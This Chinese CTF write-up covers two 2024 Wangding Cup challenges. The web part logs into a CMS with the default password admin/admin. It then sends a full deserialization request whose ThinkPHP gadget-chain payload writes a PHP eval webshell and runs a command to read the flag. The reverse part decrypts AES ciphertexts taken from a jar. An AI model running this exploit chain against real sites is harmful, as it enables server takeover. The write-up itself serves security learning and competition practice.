2024网鼎杯web1+re2 wp

这两道题属于比较简单的，顺道说一下，今年的题有点抽象，web不是misc，re不是web的，也有可能时代在进步，现在要求全栈✌了吧

web1

最开始被强网的小浣熊带偏思路了，进来疯狂找sql注入，结果后台弱口令一试，

admin/admin

找了一堆POC，都打不通，进到后台试了半天文件上传也不行，最后只能针对cms版本进行攻击，找到了

https://cn-sec.com/archives/2640154.html文章，照着文章里的方法打就好了：

进左侧最下面的功能地图把栏目字段启用

POST /login.php?m=admin&c=Field&a=arctype_add&_ajax=1&lang=cn
​
title=poc3&name=poc3&dtype=region&dfvalue=1&remark=&typeids%5B%5D=0&channel_id=-99

之后会新建一个poc3的字段，要记住这个字段的ID

然后打POC：

POST /login.php?m=admin&c=Field&a=arctype_edit&_ajax=1&lang=cn
​
title=poc3&name=poc3&old_dtype=region&dfvalue=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A6%3A%22append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A5%3A%22error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A5%3A%22query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A6%3A%22styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A6%3A%22handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A3%3A%22tag%22%3Bs%3A1%3A%22t%22%3Bs%3A7%3A%22options%22%3Ba%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fstring.rot13%2Fresource%3D%3C%3Fcuc+%40riny%28%24_TRG%5B_%5D%29%3B%3F%3E%2F..%2Fa.php%22%3B%7D%7D%7D%7D%7D%7D%7D%7D&old_dfvalue=1&remark=&typeids%5B%5D=0&channel_id=-99&id=545&old_name=poc3&dtype[]=region

完事之后访问/login.php?m=admin&c=Field&a=channel_edit&channel_id=-99&id=545&_ajax=1路径，返回500

之后就getshell了，

/a.php617ac73525b333bea4ac35a717dd8b0a.php?_=system('cat /f*');

Re2

拖到jar反编译工具里，发现该处存在密钥和加密方法提示(AES):

接下来就是找密文，最开始找错了：

找到这，结果出来一堆java的类名，翻了下下面的类，找到了这块：

正则提取密文

import re

# 读取文件内容

with open("pwd.txt", "r", encoding="utf-8") as file:
    content = file.read()

# 使用正则表达式提取所有括号内的内容

matches = re.findall(r'\("([^"]+)"\)', content)

# 打印或保存结果

for match in matches:
    print(match)

with open("extracted_content.txt", "w", encoding="utf-8") as output_file:
    for match in matches:
        output_file.write(match + "\n\n")

直接GPT：

直接跑

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

# 密钥

key = b'Y4SuperSecretKey'

# 新密文列表

ciphertexts = [
    'lD0pdU19mlA1xzNMZScMow==',
    'vHTdmhywhmrERttY0v8WPA==',
    'wOd4I7sVhw5HkgZMqTQlaA==',
    'yV6xw9+tYxleD0h9egW2/XNXXL+1+pHUnuP+3m8ii1TeCMSJTegZd2igKpl+ap480ZRD/zkyXFtgSjExqvp5RTM5rjfOaEyoSArhtwuiS5U=',
    'edT1iLMQCSvyHMUjip/M/A==',
    'vHTdmhywhmrERttY0v8WPA==',
    'wOd4I7sVhw5HkgZMqTQlaA==',
    'xkXC55umWZBHWtL+x1dCCw==',
    'uX4UoCpC1vhwr9Qjgpu31uIMLuC9MMTFZdoHUgTrXfo=',
    'vHTdmhywhmrERttY0v8WPA==',
    'BLYz3Sg6p3/X/BPYNW1L7FPYr0DwjapP8ge2BnUIVgk=',
    'uX4UoCpC1vhwr9Qjgpu31uIMLuC9MMTFZdoHUgTrXfo=',
    '3EqYg7luQqWh5PuOtpGw4LUslS/TdDl5fRE1R6o557EUbcQFc0Ub6IFcpGpp/xh7',
    'yV6xw9+tYxleD0h9egW2/XSxK49PPZReLv9k58hqjT8=',
    '1sth17wAFRt4+wAGPDITmg==',
    'yV6xw9+tYxleD0h9egW2/XnNOj+AgvjLs2pu7dXzqrI=',
    'Anj05GN/w2zBXhTp7riKrGXt8cugU0ZLiec1Gs+d1JsPe9kdfQpqBwV8tlru4DIUbg2ym6/BKkXTIkIAsDbA9g==',
    'nG1R4Vi6NnBcBZ/yoHLWrQ==',
    'aa5CJ5IF6MOG2H2+e1Wdhg==',
    'KYLTetODpmvJ6F1dm/8ghQ==',
    'KYLTetODpmvJ6F1dm/8ghQ==',
    'vNXU4qrC9TvFzpRv4tbSsJW9UbGnp+utRSzGdevVAiG0wps8qiqPXXoCmmnIex25',
    'KYLTetODpmvJ6F1dm/8ghQ==',
    'vNXU4qrC9TvFzpRv4tbSsJW9UbGnp+utRSzGdevVAiG0wps8qiqPXXoCmmnIex25',
    'LUj6lY0pyGsgf7h8uGlrUTP24ysker1No7mzBIAUHjcwsEmlkBNavkjjdNx7605ybDccQ/I5izOOjOSSYUbIMA==',
    'uX4UoCpC1vhwr9Qjgpu31uIMLuC9MMTFZdoHUgTrXfo=',
    'FHbZr6+qgY3p8S52uoSwU+rzLJu/BapSVDBVcsY//3k=',
    'hllzo1U5TtIPfKWnxzEkWKPnX8SgrjiSIMuSly1LX78=',
    '3EqYg7luQqWh5PuOtpGw4LUslS/TdDl5fRE1R6o557EUbcQFc0Ub6IFcpGpp/xh7',
    '+gvewj5POa93RqmusJXQ4A==',
    'YwDUGijDV5zY3M45IJyypg=='
]

# 创建AES解密器

cipher = AES.new(key, AES.MODE_ECB)

# 解密所有密文

for ct in ciphertexts:
    ciphertext = base64.b64decode(ct)
    try:
        decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
        print(decrypted.decode('utf-8'))
    except Exception as e:
        print(f"解密失败: {ct}, 错误: {e}")